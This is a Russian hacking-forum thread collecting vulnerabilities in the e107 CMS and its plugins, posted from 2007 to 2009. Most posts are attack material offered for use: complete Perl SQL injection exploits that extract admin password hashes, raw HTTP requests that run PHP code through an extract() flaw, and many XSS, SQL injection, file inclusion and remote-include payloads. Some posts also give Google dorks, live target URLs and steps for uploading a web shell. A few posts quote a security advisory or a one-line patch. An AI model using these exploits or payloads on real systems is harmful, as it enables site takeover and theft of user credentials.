PDA

Просмотр полной версии : [ Обзор уязвимостей e107 cms ]


Nightmarе
16.08.2007, 19:18
САБЖ

ettee
16.08.2007, 19:47
Админка: " Зайгрузки файлов пользователями ": разрешаем загружать загрузки +"нормальный файл", добавляем " .php " в "Разрешённые типы файлов".
В меню появляются "Загрузка", заливаем файл.
target/e107_files/public/file.php +посмотреть полный путь можно через админ панель категория " Зайгрузки файлов пользователями "

blackybr
07.10.2007, 12:07
<=0.6

file create exploit (http://milw0rm.com/exploits/704)

Уязвимость пристутствует из-за неправильной обработке реквестов к серверу, существует возможность послать свои собственные и создать произвольный файл.



<=0.6.17

Active xss

PoC (http://milw0rm.com/exploits/1106)



0.617

sql inj + remote code exec (http://milw0rm.com/exploits/1258)

Уязвимсоть присутствует из-за плохой проверки на логин. Возможно авторизироваться в админ панели с логином вида or isnull(1/0)/*
Затем эксплоит заливает шелл через аплоуд модулей.



<=0.75

globals overwrite (http://milw0rm.com/exploits/2268)
Использует перезапись глобальных переменных с помощью пхп-баги - Zend_Hash_Del_Key_Or_Index (http://www.google.ru/search?hl=ru&q=Zend_Hash_Del_Key_Or_Index&btnG=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA+%D0%B2+Google&lr=)

cookie file include (http://milw0rm.com/exploits/2711)
Работвет при register_globals = on, перезаписывает глобальную переменную e_LANGUAGE в кукисах.
Cookie: e107language_e107cookie=../../../../../../../../../etc/passwd%00



0.7.8

Upload file exploit (нужен админ) (http://milw0rm.com/exploits/3721)
Уязвимость присутствует из-за использования popen ф-ии на параметр $mailer, который пеердается через адресную строку в админ панеле.

Аплоуд файлов в галерее (http://milw0rm.com/exploits/4099)
Нет нормальной проверки на экстеншен. Возможен аплоуд файлов с расширением shell.php.jpg

ettee
07.10.2007, 14:42
Multiple XSS in Chatbox, forum posts:
/imgsrc.png' onmouseover='alert("Vulnerable");
/link.htm" onmouseover="alert('Vulnerable');
/foo_at_bar.com"onmouseover="alert('Vulnerable');
/url.htm" onmouseover="alert('Vulnerable');

e107 Subject field HTML injection Vulnerability
In Submit comment:
Subject: '><script>alert(/XSS/)</script>
0.545 & 0.603
e107 with the Chatbox.php (tagboard) module enabled.DoS.
In the Name inputbox of the Chatbox type:
<script = javascript> alert('DoS') <script>
6.*
Html attachment:
<html>
<body>
<script>alert('VULN');</script>
</body>
</html>
XSS Vulnerability in "Netquery" (nquser.php) plugin.
GET http://virtech.org/e107/e107_plugins/netquery/nquser.php HTTP/1.0
Accept: */*
Referer: http://virtech.org/tools/
Accept-Language: en-us
Pragma: no-cache
User-Agent: <script>alert()</script>
Host: virtech.org
Proxy-Connection: Keep-Alive
Cookie: e107_tdOffset=32630; e107_tdSetTime=1159974893; e107_tzOffset=420
Content-length: 0
0.6.15
XSS in "user settings" (usersettings.php):
http://target/e107_0615/usersettings.php?avmsg=[xss code here]
XSS Vulnerability in "Clock Menu" (clock_menu.php) plugin.
http://localhost/e107_0615/e107_plugins/clock_menu/clock_menu.php?clock_flat=1&LAN_407=foo%22);//--%3E%3C/script%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Other RFI:
0.6.15
http://target/e107_0615/e107_handlers/secure_img_render.php?p=http://attacker.com/evil.php
Other Sql injection:
0.6.15
Sql injection bug in "news.php":
http://localhost/e107_0615/news.php?list.99/**/UNION/**/SELECT/**/null,null,CONCAT(user_name,CHAR(58),user_email,CHA R(58),user_password),null,null,null,null,null,null ,null,null,null/**/FROM/**/e107_user/**/WHERE/**/user_id=1/*
Sql injection bug in "content.php":
http://localhost/e107_0615/content.php?query=content_id=99%20UNION%20select%2 0null,CONCAT(user_name,CHAR(58),user_email,CHAR(58 ),user_password),null,null,null,null,null,null,nul l,null,null,null,null%20FROM%20e107_user%20WHERE%2 0user_id=1/*
http://localhost/e107_0615/content.php?content.99/**/UNION/**/SELECT/**/null,null,null,CONCAT(user_name,CHAR(58),user_emai l,CHAR(58),user_password),null,null,null,null,null ,null,null,null,null/**/FROM/**/e107_user/**/WHERE/**/user_id=1/*

$n@ke
04.07.2008, 13:23
вот типа такого, но можно и без таблиц))но
надо знать диру для записи:

http://forum.antichat.ru/showpost.php?p=197748&postcount=22

http://forum.antichat.ru/showpost.php?p=83065&postcount=2

Dr.Z3r0
22.07.2008, 02:48
Фу ты блин а я уж думал нету специальной темы под эту цмс. ГГ откопал)

0.7.11 (мб и ранние версии)
Passive XSS

http://e107/e107_plugins/content/handlers/content_preset.php
POST:addpreset=1&type=select&field=1'><script>alert()</script><&options[0]=1&options[1]=1

1ten0.0net1
26.07.2008, 12:03
Эксплоит автора, который пожелал остаться неизвестным (действует в e107 0.7.8 точно, возможно, и других тоже)

<form action="http://tanibata.ru/contact.php" method="POST">
<input name="send-contactus" value="1"/>
<input name="body" value="This is a test email"/>
<input name="email_send" value="xeka@mail.ru"/>
<input name="author_name" value="user_name_here"/>
<input name="subject" value="It is e107 bug"/><br/>
<input size=200 name="contact_person" value="-999 union select 1,conсat(user_password,char(32),user_loginname,'<xeka@mail.ru>') from e107_user where user_id=1/*"/>
<br/><input type="submit" value="ok"/>
</form>

Само собой, при magic_quotes=On SQL-запрос нужно перекодировать char() или hex (0x..)

Rubaka
30.07.2008, 12:51
e107 Plugin BLOG Engine v2.2 Blind SQL Injection Exploit
#!/usr/bin/perl
################################################## ###################################
# e107 Plugin BLOG Engine v2.2 Blind SQL Injection Exploit #
# ..::virangar security team::.. #
# www.virangar.net #
# C0d3d BY:virangar security team ( hadihadi ) #
#special tnx to: #
#MR.nosrati,black.shadowes,MR.hesy,Ali007,Zahra #
#& all virangar members & all hackerz #
# my lovely friends hadi_aryaie2004 & arash(imm02tal) #
# ..:::Young Iranina Hackerz::.. #
################################################## ###################################
#[-] note: becuse e107 using diffrent prefix/table names may it's not work good,but i wrote it for default mod ;)
#this code is for english e107's only,if you want work on other languages,you can edit line 67;)

use HTTP::Request;
use LWP::UserAgent;

if (@ARGV != 1){
header();
}

$host = $ARGV[0];

print "\n md5 Password:\r\n";
&halghe();
print "\n[+]Done\n";


sub halghe {
for($i = 1; $i <= 32; $i++){
$f = 0;
$n = 48;
while(!$f && $n <= 57)
{
if(&inject($host, $i, $n,)){
$f = 1;
syswrite(STDOUT, chr($n), 1);
}
$n++;
}
if(!$f){
$n=97;
while(!$f && $n <= 102)
{
if(&inject($host, $i, $n,)){
$f = 1;
syswrite(STDOUT, chr($n), 1);
}
$n++;
}}
}
}
sub inject {
my $site = $_[0];
my $a = $_[1];
my $b = $_[2];

$col = "user_password";

$attack= "$site"."%20and%20substring((select%20"."$col"."%20from%20e107_user%20where%20user_id=1%20limit%20 0,1),"."$a".",1)=char("."$b".")/*";

$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$req = $b->request(HTTP::Request->new(GET=>$attack));
$res = $req->content;

if ($res !~ /The user has hidden their blog./i){
return 1;
}

}
sub header {
print qq{
################################################## #################
# e107 Plugin BLOG Engine v2.2 Blind SQL Injection Exploit #
# (just for english e107's) #
# www.virangar.net #
# Useage: perl $0 Host #
# #
# Host: full patch to macgurublog.php+uid (dont forget http://) #
# #
# Example: #
# perl $0 http://site/macgurublog_menu/macgurublog.php?uid=5 #
# #
################################################## #################
};
}

# milw0rm.com [2008-07-29]

M4g
06.08.2008, 16:54
>Эксплоит автора, который пожелал остаться неизвестным (действует в e107 0.7.8 точно, возможно, и других тоже)
это мой)

~!DoK_tOR!~
10.08.2008, 02:59
Description: e107 versions 0.7.11 and below suffer from an arbitrary variable overwriting vulnerability.


################################################## ########
# GulfTech Security Research August 07, 2008
################################################## ########
# Vendor : Steve Dunstan
# URL : http://www.e107.org/
# Version : e107 <= 0.7.11
# Risk : Arbitrary Variable Overwriting
################################################## ########


Description:
e107 is a popular full featured content management system written
in php. Unfortunately e107 suffers from an arbitrary variable
overwriting issue within it's download.php file that allows a number
of possible attacks to happen including, but possibly not limited to,
arbitrary php code execution and SQL Injection. No authentication
is required to exploit the issue and it can be exploited regardless
of php magic quotes settings. All users are encouraged to upgrade
their e107 installations as soon as possible.


Arbitrary Variable Overwriting:
There is an arbitrary variable overwrite issue in download.php that
is the result of unsafe usage of the php extract() function. Let's
have a look at the code located in download.php @ lines 85-86

case 'list' : // Category-based listing
if (isset($_POST['view'])) extract($_POST);

As we see from the above code it is very much possible to overwrite
any variables declared up to this point, but what is the real risk
here? What attacks are possible because of this issue?

view=1&id=-99') UNION SELECT concat(user_name,char(58), user_password),
2,3,4 FROM e107_user WHERE user_id=1/*

One possible attack could involve an attacker sending a post request
to the downloads category view page (download.php?list.1 for example)
with the above data as the post contents, and as a result the username
and pass hash will be displayed in the page title. This SQL Injection
does require magic quotes to be set to it's default value of off.

view=1&action=maincats&execute=aWQ=&template_load_core=echo%20exec
(base64_decode($_POST[execute]));

In addition to the SQL Injection is an arbitrary php code execution
vulnerability. I found that it is possible to execute arbitrary php
code by sending a post request to the downloads category view page
with the above data as the post contents. The above example will
successfully execute the "id" shell command regardless if php magic
quotes gpc settings. A valid download category must be available
though, but this is trivial since an attacker can use the previously
explained SQL Injection to gain admin credentials and add a download
category. Other attacks may be possible though since a majority of
the important variables within the script are at risk.

Solution:
A fix for the issue mentioned in this advisory can be found in the
public e107 CVS repository, or accessed directly at the link below.

http://e107.cvs.sourceforge.net/e107/e107_0.7/download.php?r1=1.95&r2=1.96&view=patch&pathrev=MAIN

Credits:
James Bercegay of the GulfTech Security Research Team

Related Info:
The original advisory can be found at the following location
http://www.gulftech.org/?node=research&article_id=00122-08072008

chekist
11.08.2008, 19:39
view=1&action=maincats&execute=aWQ=&template_load_core=echo%20exec
(base64_decode($_POST[execute]));

при таком запросе работать не будет, наверно сделали защиту от скрипткидисов

view=1&action=list&template_load_core=phpinfo();

скуль фигня самое страшно php-injection


$template_load_core = ' ..... ';
....
switch ($action)
{
case 'list' :
if (isset($_POST['view'])) extract($_POST);
if ($sql->db_Select("download_category", "download_category_name,download_category_descripti on,download_category_parent,download_category_clas s", "(download_category_id='{$id}') AND (download_category_class IN (".USERCLASS_LIST."))") )
{
...
eval($template_load_core);


рабочий запрос если в download.php есть хоть одна статья

POST http://e107 site /download.php?list.1 HTTP/1.0
User-Agent: Opera (Windows NT 5.1; U; si)
Host: www.tarotclub.fr
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
If-None-Match: c858d46e89d4dfb6fcf8add468b46abb
Cookie: e107_tdOffset=7; e107_tdSetTime=1218466444; e107_tzOffset=-240
Cookie2: $Version=1
Proxy-Connection: close

view=1&id=1&template_load_core=phpinfo();


если в download.php нет ниодной статьи и если magic_quotes_gpc OFF можно извратится таким запросом искользуя sql-injection

POST http://e107 site /download.php?list.1 HTTP/1.0
User-Agent: Opera (Windows NT 5.1; U; si)
Host: www.tarotclub.fr
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
If-None-Match: c858d46e89d4dfb6fcf8add468b46abb
Cookie: e107_tdOffset=7; e107_tdSetTime=1218466444; e107_tzOffset=-240
Cookie2: $Version=1
Proxy-Connection: close

view=1&id=0')/*1*/union/*1*/select/*1*/1,2,3,4/*&template_load_core=phpinfo();


ЗЫ сплойт выкладывать не стал т.к. уже не актуально в e107 апдейт работает хорошо, через пару дней уязвимых сайтов почти не останется, эту багу нашёл 10.07.08

Nightmarе
18.08.2008, 23:27
К последним дыркам в download.php есть ли описание как вручную залатать дырки???

Jokester
19.08.2008, 19:08
К последним дыркам в download.php есть ли описание как вручную залатать дырки???
А что, работает?

Я не знаю какую версию смотрели авторы, но у меня на локалке как раз заявленная ими v0.7.11_full

Так вот , всё бы хорошо работало, если-бы там был eval() , но там его нет :D

И кстати. если бы он там был, никакие SQL типа:
id=0')/*1*/union/*1*/select/*1*/1,2,3,4/*там-бы нужны не были, достаточно просто постом послать (Разумеется download.php?list):

template_load_core=phpinfo();
Я не знаю, может у меня пропатченная, или авторы смотрели старую, был бы благодарен, если-бы кто-то дал CMS с таким кодом посмотреть.

Nightmarе
19.08.2008, 20:25
Вот файл:
http://slil.ru/26072120
Это из версии 7.11, с офф сайта качать бесполезно - пропатчили.

Nightmarе
19.08.2008, 20:32
Вот файл:
http://slil.ru/26072120
Это из версии 7.11, с офф сайта качать бесполезно - пропатчили.
И там как раз и есть эти строки:
case 'list' : // Category-based listing
if (isset($_POST['view'])) extract($_POST);

Jokester
20.08.2008, 00:28
Да, сдесь работает

download.php?list

id=1&template_load_core=phpinfo();

chekist, молодца

chekist
27.08.2008, 17:38
в е107 интересные bb коды javascript:[xss],
но есть злобный фильтр

....
if (!preg_match('/&#|\'|"|\(|\)|<|>/s', $text))
{
....

единственное что получилось использовать location вместо кавычки использовал слеш

ЗЫ у ково получится по интереснее использовать багу отпишытесь

login999
02.09.2008, 02:45
#!/usr/bin/perl
################################################## ############
# e107 Plugin BLOG Engine v2.2 SQL Injection Exploit #
# ..::virangar security team::.. #
# www.virangar.net #
# C0d3d BY:virangar security team ( hadihadi ) #
#special tnx to: #
#MR.nosrati,black.shadowes,MR.hesy,Ali007,Zahra #
#& all virangar members & all hackerz #
# my lovely friends hadi_aryaie2004 & arash(imm02tal) #
# ..:::Young Iranina Hackerz::.. #
################################################## ############


use HTTP::Request;
use LWP::UserAgent;

if (@ARGV != 1){
header();
}
$site = $ARGV[0];

$attack= "$site"."?uid=-99999%20union%20select%201,concat(0x3c757365723e,u ser_name,0x3c757365723e,user_password),3%20from%20 e107_user%20where%20user_
id=1/*";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$req = $b->request(HTTP::Request->new(GET=>$attack));
$res = $req->content;

if ($res =~ /<user>(.*?)<user>/){
print "\n[+] Admin User : $1";}
if ($res =~/([0-9a-fA-F]{32})/){
print "\n[+] Admin Hash : $1\n\n";
print "\n[+]Done\n";}

sub header {
print qq{
################################################## #################
# e107 Plugin BLOG Engine v2.2 SQL Injection Exploit #
# www.virangar.net #
# Useage: perl $0 Host #
# #
# Host: full patch to macgurublog.php (dont forget http://) #
# #
# Example: #
# perl $0 http://site/macgurublog_menu/macgurublog.php #
# #
################################################## #################
};
}
#virangar.net[2008-05-22]

# milw0rm.com [2008-09-01]


Содрано с milw0rm.com/exploits/6346

ZAMUT
04.09.2008, 17:39
Active XSS

Версия: 0.7.12

Уязвимый кусок кода:
/usersettings.php

...
$_POST['realname'] = $tp->toDB($_POST['realname']);
...
$sql->db_Update("user", "{$new_username} {$pwreset} {$sesschange} user_email='".$tp -> toDB($_POST['email'])."',user_signature='".$_POST['signature']."', user_image='".$tp -> toDB($_POST['image'])."', user_timezone='".$tp -> toDB($_POST['timezone'])."',user_hideemail='".intval($tp -> toDB($_POST['hideemail']))."', user_login='".$_POST['realname']."' {$new_customtitle}, user_xup='".$tp ->
toDB($_POST['user_xup'])."' WHERE user_id='".intval($inp)."' ");
...

Эксплоит:
Profile => Click here to update your information => RealName => [Your XSS]

c411k
06.09.2008, 20:13
К последним дыркам в download.php есть ли описание как вручную залатать дырки???

switch ($action)
{
case 'list' : // Category-based listing
if (isset($_POST['view'])) extract($_POST);

switch ($action)
{
case 'list' : // Category-based listing
if (isset($_POST['view'])) extract($_POST, EXTR_SKIP);

Nightmarе
24.10.2008, 23:51
e107 <= 0.7.13 (usersettings.php) Blind SQL Injection Exploit
Уязвимость вышла в свет 21 октября, 2008 © securitylab.ru

Уязвимость существует из-за недостаточной обработки входных данных в ключах массива "ue[]" в сценарии usersettings.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.

Сам эекслойт под неё:
http://www.securitylab.ru/bitrix/exturl.php?goto=%2Fpoc%2Fextra%2F361578.php

Ну и вопрос, кто нибудь знает как закрыть дырку?

Nightmarе
29.10.2008, 05:53
e107 Plugin EasyShop (category_id) Blind SQL Injection Exploit

Сплойт:
http://www.securitylab.ru/bitrix/exturl.php?goto=%2Fpoc%2Fextra%2F361979.php

KentPol
31.10.2008, 23:04
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных в параметре «l_id» сценарием lyrics_song.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.

Эксплоит:

http://localhost/script_path/lyrics_song.php?l_id=[SQL1] or [SQL2]

[SQL1] = column number 15

-1+union+select+1,concat(user_name,0x3a,user_passwo rd),3,4,5,6,7,8,9,10,11,12,13,14,15+from+e107_user--

_krad_
30.11.2008, 23:01
Обнаружил кривую обработку смайлов. Возможна XSS-атака

!<script>alert(document.cookie);</script>

Версию e107 еще уточню.

ZAMUT
01.12.2008, 00:31
Уточняй, где конкертно возможно провести xss

Что - то мне подсказывает, что тестил ты под правами админа => там идет кривая обработка в функции фильтрации toDB.

eLWAux
15.12.2008, 00:31
http://aidarjan.com/e107_images/logo_template.pnge107

e107 mam_menu Component Blind-SQLinj
http://e107.ru/e107_files/downloads/mam_menu2.tar.gz

Уязвимый продукт: e107 mam_menu2 (Управление аккаунтами)
Версия: e107 0.7.13, mam_menu2 v1.01

1. Blind sqlInjection
Уязвимость в файле ban.php
Уязвимый кусок кода:
$unban = $_GET['accunban'];
if ( $unban ){
mysql_query("UPDATE $TABLE SET user_ban = '0' WHERE user_id = $unban");
} else {};
Из кода видно, что параметр $unban не обрамляется в кавычки и ранее нигде не фильтруется - это даёт нам возможность провести sql инъекцию.
Так же из кода видно, что данные в таблице обновляютса и не выводятся - это и есть причина слепоты в данной инъекции.

Exploit:

для версии 5: true: /e107_plugins/mam_menu/allaccess/unreg.php?accunban=1+and+if(SUBSTRING(VERSION(),1, 1)=5,1,sleep(4))=1
для версии 5: false: /e107_plugins/mam_menu/allaccess/unreg.php?accunban=1+and+if(SUBSTRING(VERSION(),1, 1)=4,1,sleep(4))=1

данний exploit будет работать только под версии >=5 (причина: визов ф-ции sleep), для более ранних версий надо использовать BENCHMARK

Скрипт для работы со слепыми инъекциями от Grey:
https://forum.antichat.ru/showpost.php?p=894169&postcount=5

eLWAux
15.12.2008, 00:31
e107 Easy Members Search v1.0+ XSS
http://e107.org.ru/download.php?view.149

Уязвимый продукт: Easy Members Search v1.0+
Версия: v1.0+
Условия: magic quotes off

1. XSS
Уязвимость в файле ems.php
Уязвимый кусок кода: $usrname = $_GET['usrname'];
.........
<input class='tbox' style='width:120px;' type='text' name='usrname' value='".$usrname."' /></td>

xss атаку можна произвести из за недостаточной фильтации в файлах class2.php и ems.php

Exploit:

/e107_plugins/ems/ems.php?usrname=test' />sa<b><b
/e107_plugins/ems/ems.php?usrname=test' /><script>alert('xss')</script>
/e107_plugins/ems/ems.php?usrname=test' /><script>alert(/xss/)</script>
/e107_plugins/ems/ems.php?usrname=test' /><script>alert(/xss/)</script><b><b

eLWAux
15.12.2008, 00:32
e107 roll_mini v1.2 (каталог терминов) XSS
http://e107.org.ru/download.php?view.221

Уязвимый продукт: roll_mini (каталог терминов)
Версия: v1.2
Условия: magic quotes off

1. XSS
Уязвимость в файле roll.php
Уязвимый кусок кода: if ($_GET['cat']) $id_cat = $_GET['cat']; else $id_cat = "1";
if ($_GET['search']) $search = $_GET['search'];
.........
<input class='tbox' type='hidden' name='cat' size='30' value='".$id_cat."' >
<input class='tbox' type='text' name='search' size='30' value='".$search."' >

xss атаку можна произвести из за отсуствия фильтации в файле roll.php

Exploit:

/e107_plugins/roll_mini/roll.php?cat=1aaaa<script>alert('xss')</script>

eLWAux
15.12.2008, 20:10
coppermine_menu (фотогаллерея) Blind sqlInj
http://web.wilan.com.ru/modules.php?name=Files&go=view_file&lid=115

Уязвимый продукт: coppermine_menu (фотогаллерея)
Версия: v0.3.3

Blind sqlInj
Уязвимость в файле util.php
Уязвимый кусок кода:
$action = $_POST['action'];
....
function filenametotitle($delete)
{
$albumid = $_POST['albumid'];
$parsemode = $_POST['parsemode'];
....
$query = "SELECT * FROM $picturetbl WHERE aid = '$albumid'";
$result = MYSQL_QUERY($query);
$num = mysql_numrows($result);
}
......
} else if ($action == 'title') { ....
filenametotitle(0); ..}
........
sqlInj атаку можна произвести из за отсуствия фильтации в POST запросе данних action, albumid

Exploit:

true: \e107_plugins\coppermine_menu\util.php
POST: action=title&albumid=0' 1'='1&parsemode=2

false: \e107_plugins\coppermine_menu\util.php
POST: action=title&albumid=0' 1'='2&parsemode=2

eLWAux
15.12.2008, 21:02
EasyShop adminXSS
http://plugins.e107.org/e107_plugins/psilo/psilo.php?artifact.461

Уязвимый продукт: EasyShop
Условия: нужни права админа(єсли использовать СИ, то можно заставить админа отправить тебе свои куки..))

XSS
Уязвимость в файле admin_main_categories_edit.php
Уязвимый кусок кода:

..
} else if ($_GET['delete_main_category'] == '1') {
<a href='admin_main_categories_edit.php?delete_main_c ategory=2&main_category_id=".$_GET['main_category_id']."'>".
...
задействовать только в совместимости с СИ

Exploit:

/e107_plugins/easyshop/admin_main_categories_edit.php?delete_main_categor y=1&main_category_id=1'><script>alert('xss')</script><a href='admin_main_categories_edit.php

/e107_plugins/easyshop/admin_main_categories_edit.php?delete_main_categor y=1&main_category_id=1'>XSS<temp class='a

ZAMUT
13.01.2009, 13:02
Full path disclosure --last upd


/online.php
/e107_plugins/log/consolidate.php
/e107_plugins/log/log.php
/e107_plugins/pdf/e107pdf.php

ZAMUT
16.01.2009, 22:10
Version disclosure --last upd
/e107_admin/credits.php
/e107_docs/README.html
/e107_docs/README_UPGRADE.html
/e107_files/e107.js
/e107_files/shortcode/sitelinks_alt.sc
/e107_handlers/tiny_mce/plugins/ibrowser/editor_plugin.js

fire64
05.04.2009, 17:43
xss в плагине форума, в версии v.0.7.15

заголовок темы не фильтруется


><script>alert(1)</script><

f1ng3r
15.04.2009, 10:19
################################################## #################
e107 Plugin userjournals_menu (blog.id) SQL injection vulnerability
################################################## #################


################################################## #
#[~] Author : boom3rang
#[~] Greetz : H!tm@N, KHG, chs, redc00de
#[~] Vulnerability : Remote SQL-injection
#[~] Google Dork : inurl:"userjournals.php?blog."
--------------------------------------------------
#[!] Product Site : http://www.bugrain.com
#[!] Download CMS : http://www.e107coders.org/download.php?view.1402
#[!] Version : v0.7 or later
################################################## #


[-] POC:
http://localhost/plugins/userjournals_menu/userjournals.php?blog.[exploit]

[-] Exploit:
-9999 union all select 1,2,3,4,5,6,user_password,8,9,0,11,12,13 from e107_user--

[-] Exploit 2:
-9999 union all select 1,2,null,4,5,6,@@version,8,9,0,11,12,13--

[+] LiveDemo:
http://demo.infozonelab.com/plugins/userjournals_menu/userjournals.php?blog.-9999 union all select 1,2,3,4,5,6,user_password,8,9,0,11,12,13 from e107_user--


###########################
United States of Albania
Proud to be Albanian
R.I.P redc00de
###########################

© milw0rm.com [2009-04-13]

Nightmarе
21.04.2009, 02:45
Обнаружил интересную вещь.
Движок e107 так-же неадекватно реагирует на флуд в новостях, если хорошенько зафлудить максимальным количеством символов в 2-3 сообщения, то коментарии к новости вообще никакие не будут отображаться. Любителям сделать гадость на сайте это подойдёт как нельзя кстати.

Решение: ограничить количество символов в сообщениях, или не допускать большое кол-во одинаковых символов\слов в сообщении.

Solide Snake
21.04.2009, 23:21
#!/usr/bin/env perl
#
# e107 <= 0.7.15 "extended_user_fields" Blind SQL Injection Exploit
#
# Description
# -------------------------------------------------------------------
# e107 contains one flaw that allows an attacker to carry out an SQL
# injection attack. The issue is due to the "usersettings.php" script
# not properly saniting user-supplied input to the hide[] key.
# This may allow an attacker to inject or manipulate sql queries in
# the backend database if magic_quotes_gpc = off.
# -------------------------------------------------------------------
# Code Details (usersettings.php)
# -------------------------------------------------------------------
# Line 433 - 441
#
# if($ue_fields) {
# $hidden_fields = implode("^", array_keys($_POST['hide'])); <------ {1}
#
# if($hidden_fields != "")
# {
# $hidden_fields = "^".$hidden_fields."^";
# }
# $ue_fields .= ", user_hidden_fields = '".$hidden_fields."'"; <---- {2}
# }
#
# Line 470 - 476
#
# if($ue_fields)
# {
# [etc..]
# $sql->db_Update("user_extended", $ue_fields." WHERE user_extended_id = '".intval($inp)."'");
# }
#
# ue[] POST variable needs a valid key
# such as "aim","msn" or other user_extended_fields
# (@fields array).
#
# Fix this sql injection using (php function)
# mysql_real_escape_string to the POST 'hide' key,
# otherwise find a way to fix it. dont care
# ------------------------------------------
# Discovered & Written
# by Juri Gianni aka yeat - staker[at]hotmail[dot]it
#
# Thanks to
# ---------------------------------------------
# JosS,girex,str0ke,certaindeath,plucky
# #zeroidentity chan - http://zeroidentity.org
# ---------------------------------------------
# http://www.youtube.com/watch?v=0rgInHvW8Ic
# http://www.youtube.com/watch?v=O2y62xcUJ8E
# ---------------------------------------------

use LWP::UserAgent;


my $prefix = "e107_"; # default table_prefix
my $type_i = undef;
my $sock_u = new LWP::UserAgent;

my ($domain,$user_name,$user_pwd,$target) = @ARGV;


e107::Usage() unless scalar (@ARGV) > 3;

e107::Login($user_name,$user_pwd);
$type_i = e107::ExtendedField();
e107::Exploit();


sub e107::Usage
{
print "e107 <= 0.7.15 'extended_user_fields' Blind SQL Injection Exploit\n";
print "Usage: perl xpl.pl http://[host]/[path] [username] [password] [target id]\n";
print "Usage: perl xpl.pl http://localhost/e107 yeat an4rchy 1\n";
exit;
}

sub e107::Exploit
{
e107::Vulnerable();
e107::BruteForce();
}



sub e107::SqlQuery
{
my ($do_query,$response,$start,$down,$element);

$do_query = $_[0] || die $!;

$start = time();

$response = $sock_u->post($domain.'/usersettings.php',
[
"email" => 'doesnt@exists.net',
"ue[user_$type_i]" => 1,
"hide[$do_query]" => 1,
"updatesettings" => 'Save Settings',
]) or die $!;
$down = time();

return $down - $start;
}



sub e107::CheckField
{
my ($do_query,$response,$start,$down,$element);

$do_query = $_[0];
$element = $_[1] || die $!;


$start = time();

$response = $sock_u->post($domain.'/usersettings.php',
[
"email" => 'doesnt@exists.net',
"ue[user_$element]" => 1,
"hide[$do_query]" => 1,
"updatesettings" => 'Save Settings',
]) or die $!;
$down = time();

return $down - $start;
}



sub e107::ExtendedField
{
my @fields = ('yeat','aim','birthday','icq','language','locatio n','msn','yahoo','homepage');

my $query = "\x27/**/OR/**/CASE/**/WHEN(1>0)/**/THEN".
"/**/benchmark(100000000,CHAR(0))/**/END#";

for (my $i=1;$i<8;$i++) {

if (e107::CheckField($query,$fields[$i]) > 6) {
return $fields[$i]; last;
}
unless ($i != 8 && $fields[$i]) {
die("Site not vulnerable..\n");
}
}
}



sub e107::SqlBrute
{
my $ascii = $_[0];
my $limit = $_[1] || 1;

my $sql_query = "\x27/**/OR/**/(SELECT/**/IF((ASCII(SUBSTRING(user_password,$limit,1))".
"=$ascii),benchmark(200000000,CHAR(0)),0)/**/FROM/**/${prefix}user/**/".
"WHERE/**/user_id=$target)#";

return $sql_query;
}



sub e107::BruteForce
{
my $i = 1;
my @charset = (97..102,48..57);
my $convert = undef;
my $result = undef;


for ($i..32) {

foreach $convert (@charset) {

if (e107::SqlQuery(e107::SqlBrute($convert,$i)) > 9) {
syswrite(STDOUT,chr($convert)); $i++;
last; $result .= chr($convert);
}
}
}

unless (length($result) != 32) {
print "\nHash MD5: $result\n";
print "User ID: $target\n";
}
}



sub e107::Vulnerable
{
my @fields = ('yeat','aim','birthday','icq','language','locatio n','msn','yahoo','homepage');

for (my $i=1;$i<8;$i++) {

if ($fields[$i] eq $type_i) {
print "Exploiting..\n"; last;
}
else {
die ("Site not vulnerable..\n");
}
}
}



sub e107::Login
{
my ($username,$password) = @_;
my ($result,$response);

$response = $sock_u->post($domain.'/signup.php',
[
username => $username,
userpass => $password,
userlogin => 'Login',
autologin => 0
]) or die $!;

$result = $response->as_string;

if ($result =~ /e107cookie=(\d+)\.([0-9a-f]{32})/i) {
$sock_u->default_header('Cookie' => "e107cookie=$1.$2;");
$sock_u->agent('Lynx (textmode) - Logged');
}
else {
die("Login failed..\n");
}
}

# milw0rm.com [2009-04-20]

[underwater]
28.04.2009, 17:50
ZoGo-Shop e107 plugin

Vuln File: product_details.php

Vuln Code:
e107_plugins/zogo-shop/product_details.php
$product_ID=$_GET["product"];

Exploit:
http://localhost/[path]/e107_plugins/zogo-shop/product_details.php?product=[SQL]

Psi.X
04.05.2009, 00:41
Есть такая штука...
В файле e107_admin/auth.php

function authcheck($authname, $authpass)
{
/*
# Admin auth check
# - parameter #1: string $authname, entered name
# - parameter #2: string $authpass, entered pass
# - return boolean if fail, else result array
# - scope public
*/
global $tp;
$sql_auth = new db;
$authname = $tp -> toDB(preg_replace("/\sOR\s|\=|\#/", "", $authname));
if ($sql_auth->db_Select("user", "*", ""))//"user_loginname='$authname' OR 1=1"))// AND user_admin='1' "))


Логин приходит в базу через $tp -> toDB() но НЕ ФИЛЬТРУЕТСЯ !
Можно дописать после нее echo $authname, и мы увидим резалт.
Но у меня на локалхосте так и не получилось что-либо сделать. Выходит какаето ерунда...
Запрос вроде есть мускл возвр хендл, но когда идет проверка на кол-во строк возвр 0
Хоть убей не понимаю в чем дело...

Grey
06.05.2009, 18:24
Логин приходит в базу через $tp -> toDB() но НЕ ФИЛЬТРУЕТСЯ !
Можно дописать после нее echo $authname, и мы увидим резалт.

Ну как же не фильтруется, когда напротив очень даже фильтруется.
